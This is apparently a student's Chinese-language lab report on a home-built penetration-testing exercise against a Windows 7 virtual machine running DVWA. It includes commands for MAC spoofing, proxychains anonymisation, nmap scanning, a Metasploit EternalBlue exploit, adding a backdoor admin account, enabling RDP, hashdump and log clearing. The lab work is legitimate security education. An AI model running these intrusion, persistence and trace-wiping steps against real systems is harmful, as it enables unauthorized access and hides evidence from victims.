配置kali Linux虚拟机的网络
(1)输入ipcongfig,发现网络配置文件eth0里你符合实验需要的网络配置;
(2)去本地主机的“网络连接”,右击“VMnet8”,点击“属性”。
(3)配置IPv4协议,设置IP地址,子网掩码,默认网关
(4)返回kali虚拟机开始界面左上角的“编辑”,找到“虚拟网络编辑器”进行如下设置
(5)打开kali终端,输入vi /etc/network/interfaces,配置网络输入(建议把后面注释删除我第一次没配置成功,删掉注释后成功了),按esc后,输入:wq保存并退出
auto eth0
iface eth0 inet static #设置静态网络
address 192.168.161.10 #设置IP地址
netmask 255.255.255.0 #设置子网掩码
gateway 192.168.161.2 #设置默认网关
(6)然后还要去修改一个dns临时生效的文件,终端上输入vim /etc/resolv.conf;
(7)别忘记前面安装选了桥接模式,现在要换过来换回“自定义”
(8)再重启Kali网络服务systemctl restart networking
(9)检验配置情况,输入ifconfig,验证IP地址配置情况,输入ping www.baidu.com,验证外网的连通性,配置成功
2.1.5、配置Windows 7虚拟机的网络
(1)打开win 7虚拟机,打开终端输入ipconfig,发现网络不符合实验需要的网络配置;
(2)进行网络配置打开“网络连接”,点击“属性”
(3)把靶机win 7IP地址设置和kali同一个网段,如下图
(4)验证网络配置,发现已经和kali处于同一网段,配置成功。
2.1.6、配置Windows 7虚拟机的网络
版本 | IP | |
靶机 | Windows 7 X64 | 192.168.161.20 |
攻击机 | kali-linux-2023.3-installer-amd64 | 192.168.161.10 |
2.2 部署DVWA web漏洞测试应用
查阅资料,DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。(很多虚拟机的win7版本安装不了VMware Tools,不能把主机文件直接复制win7,可以通过网络连接的方式实现文件的共享。)
- 先安装phpstudy
- 下载安装phpstudy
官网地址:https://www.xp.cn/
(2)安装DVWA
1、下载DVWA
官网地址:https://dvwa.co.uk/
GitHub下载地址:https://github.com/digininja/DVWA
网盘下载:https://pan.baidu.com/s/1W000yYSuZGTPAxUKmWuC4g提取码 npui
2、将下载完成后的压缩包,解压,并放在phpstudy的www目录下,为了方便我重命名为DVWA(太多图片了懒得改了)
3、打开dvwa文件夹下的config文件下,将db_user和db_password修改为对应数据库的用户名和密码,保存时另存为去掉.dist后缀。
4、打开浏览器访问127.0.0.1/dvwa,拉到最下面按钮,点进去
5、输入账号admin,密码password,登陆成功,可以开始使用了!
3.网络隐身
3.1实现攻击机进行隐藏
3.1.1 MAC地址欺骗
通过MAC地址欺骗达到隐藏真实主机的目的;通过kali自带的macchager工具来完成——macchanger是一款修改电脑MAC地址的一款修改器工具。
打开kali终端输入macchanger -s + 网卡——展示当前网卡的mac地址
当输入macchanger -s eth0后出现两条一样的mac地址,current MAC是当前mac地址,我们进行mac欺骗时修改的是这条mac地址。Permanent MAC是真实mac地址。
(1)关闭网卡
sudo ifconfig eth0 down //关闭网卡
(2)修改MAC地址
macchange -l //查看kali自带的厂商MAC地址
macchange --list=厂商名 //查看特定厂商的MAC地址
(3)这里我选择的小米,接下来就可以对mac地址进行修改了。
sudo macchanger -m f8:a4:5f:e1:5b:23 eth0//将eth0的MAC地址改成f8:a4:5f:e1:5b:23,开启网卡sudo ifconfig eth0 up,查看MAC地址ip addr,修改后就变成了f8:a4:5f:e1:5b:23。
3.1.2 IP隐藏
ProxyChains是一个开源工具,它允许用户通过一个或多个代理服务器来路由TCP或UDP连接,从而隐藏其真实IP地址。该工具可以用于在不被发现的情况下执行各种网络操作,例如扫描和攻击,而无需揭示用户的位置和身份。
(1)输入sudo vim /etc/proxychains4.conf,打开Proxychains配置文件/etc/proxychains4.conf,编辑文件中的代理服务器列表:
(2)在文件的最后,添加代理服务器的IP地址和端口号,socks5 127.0.0.1 1080 和 http 127.0.0.1 8080(本来是socks4 127.0.0.1 9050)
(3)在终端中使用Proxychains启动需要代理的应用程序,例如Nmap扫描:
proxychains nmap -sS 192.168.1.20
扫描到了win7的MAC地址
此时Nmap将使用Proxychains配置文件中的代理服务器进行扫描,实现IP地址的隐藏和匿名。
4信息收集
4.1完成对靶机的信息收集;
4.1.1被动收集信息
1、当知道域名时:(当然我们没有靶机域名,拿百度演示)
(1)IP 查询,想得到一个域名对应的 IP 地址,只要用 ping 命令 ping 一下域名就可以了命令格式为:ping xxx.com
(2)whois 信息收集,在 linux 系统下有一个命令:whois ,可以查询目标域名的 whois 信息,命令格式为:whois xxx.com
(3) DNS 信息收集,用 linux 下的 host 命令去查询 dns 服务器,命令格式为:host -t ns xxx.com
- 当知道靶机IP时:
(1)旁站查询
通过 bing 搜索引擎,使用 IP:%192.168.161.20 格式搜索存在于目标 ip 上的站点(这里我进不到真正的bing搜索引擎bing.com,老是进到国内版cn.bing.com)
(2)这里我通过战长之家http://s.tool.chinaz.com/same进行IP查询
(3)使用nmap扫描用命令nmap -n -sn 192.168.161.20(-sn -n 地址范围)可以得到靶机的mac地址等一些信息
(4)使用enum4linux 192.168.161.20可以查看到靶机的用户,mac地址和一些目录信息等
5.网络扫描
5.1完成对靶机和Web应用的扫描
5.1.1对靶机主机扫描
(1)发现主机,使用 nmap 扫描下网络内,存在多少台在线主机:
Kaili终端输入 proxychains nmap -sP 192.168.161.0/24
(2)端口扫描,proxychains nmap -p1-55000 192.168.161.20 参数可以指定要扫描目标主机的端口范围,这里表示靶机端口范围1~55000开放了那些端口。
(3)指定端口扫描(-p):命令格式:nmap -p 指定端口 目标ip
(4)指纹探测,终端输入proxychains nmap -O 192.168.161.20,可以对目标主机的系统版本、服务版本、以及目标站点进行探测,为漏洞发现做铺垫。
(5)指纹识别扫描:proxychains nmap -sV -v 192.168.161.20(-sV:开启服务版本探测功能,尝试获取目标主机上运行的各个服务的详细信息和版本号。-v:表示开启详细输出模式,输出更多的扫描信息。
(6)漏洞扫描,终端输入:nmap --script=vuln 192.168.161.20(--script=vuln:使用 Nmap 中的 vuln 脚本,该脚本是一系列用于检测目标主机上是否存在已知漏洞的脚本集合。)
6. 漏洞验证
前面发现了smb-vuln-ms17-010永恒之蓝漏洞,永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。
6.1对网络扫描得到的漏洞进行验证;
6.1.1msfconsole测试
(1)进入msfconsole
(2)查找合适测试这个漏洞的模块,kali终端输入search ms17-010
- 选择描模块use+模块mane(这里我选的是use 3)
- 选择攻击目标IP, 终端输入set rhost 192.168.161.20
永恒之蓝漏洞进行验证成功。
7. 网络入侵
7.1利用靶机系统的漏洞完成入侵;
(1)先输入exit回退选择模块从新选择攻击命令,终端输入use+name(我选择use 0)
(2)选择攻击目标IP, 终端输入set rhost 192.168.161.20
(3)开始进行测试,终端输入run进行攻击,从如下图可以看出己经攻击成功了。
(4)meterpreter> ls后测试成功拿到了控制目标的权限
(5)终端输入shell 命令成功获取Windows权限,进入cmd状态
(6)net user 查看靶机的用户,net user + 用户名+ 密码 /add 可以在靶机添加用户
(7)把用户添加到管理员组使用命令net localgroup administrators +用户名 /add
(8)在靶机win7查看后发先文件和用户创建成功
(9)查找资料后发现win7开启3389端口可以直接进行远程登录,
1、使用命令run post/windows/manage/enable_rdp ,启用目标主机的3389端口远程桌面,
2、可以使用命令 idletime ,查看靶机用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。
(10)打开3389端口后重新打开一个终端输入rdesktop +IP
用自己创建的管理员用户xiaohua登录,实现了对靶机的远程连接
(查找资料后,在meterpreter>时使用命令run windows/gather/hashdump可以查到靶机win7的所有用户名和加密的密码,解码后,也就可以不用创建用户,从而减小被发现的可能,也可以实现登录。)
|
|
7.2Web站点的攻击
(1)远程连接到靶机win7后,发现靶机有phpstudy,进去得到数据库密码
(2)得到数据库密码后,找到phpstudy数据库bin目录,输入cmd进入控制台
(3)接着查找表,找到储存用户信息的users表,使用数据库查询语句select * from users;得到用户名和MD5加密的密码
(4)使用工具进行解密(网上一搜就有),得到靶机web站点用户名admin和密码password。
(4)下载一个AppScan Standard(是IBM的一款web安全扫描工具,可以利用爬虫技术进行网站安全渗透测试,根据网站入口自动对网页链接进行安全扫描,扫描之后会提供扫描报告和修复建议等。),靶机站点作为起url,检验连接。
(5)去“登录管理”添加我们破解的用户名和密码,开启安全扫描
(6)工具扫描出站点存在的问题
(7)可以导出报告,进行细致查看目标站点问题(报告有一百多页,我下面只展示四页)
可以进一步进行攻击站点,
8. 网络后门与痕迹清除
8.1留下后门
(1)查找资料后发现win7开启3389端口可以直接进行远程登录,
1、使用命令run post/windows/manage/enable_rdp ,启用目标主机的3389端口远程桌面,
2、可以使用命令 idletime ,查看靶机用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。
(2)打开3389端口后重新打开一个终端输入rdesktop +IP
实现了对靶机的远程连接,实现后门的3389端口远程连接后门
8.2痕迹清除(如系统登录日志、Web访问日志等)。
8.2.1、第一步:日志
为了不暴露攻击者的痕迹行为,需要清除系统事件
打开 Windows 事件查看器(可以看到日志信息)
直接在控制面板搜
8.2.2、第二步:清理额外信息
(1)删除刚刚添加的账号,因为给了管理员权限要以管理员身份运行命令窗口输入net user xiaohau [/deleter]。
- 这个时候添加的用户已经删除,但文件夹还留在用户路径,还要去删除文件夹,删除添加的文件
- 清除web日志,打开运行窗口输入inetcpl.cpl回车进入Iternet属性在[常规]中找到 浏览历史记录,点击下面的[删除]
(4)退出目标服务器的shell,进行删除日志输入Clearev
(5)MSF清理,输入sessions查看所有的MSF连接,输入sessions -K
关闭所有的MSF链接(我这里没有msf连接)
9. 课程设计总结
通过设计和搭建实际的网络环境,我对网络攻击的原理和常见防御手段有了更深入的理解。同时,我还学会了使用各种网络安全工具和技术,如漏洞扫描、渗透测试等。在这之中我也遇到了一些困难,比如开始我把DVWA安装在了kali上问了同学才知道要装在win7,还有攻击的逻辑思考上和进攻的技术选择等。通过主动寻求解决方案,查阅相关资料、请教同学等;解决了这些问题,并从中汲取了宝贵的经验。通过参与课程设计,我更加深刻地认识到网络攻防技术实验的重要性和实践性。这网络攻防提供了我心得知识和技能的学习,今后我也会在法律法规下努力实践网络攻防。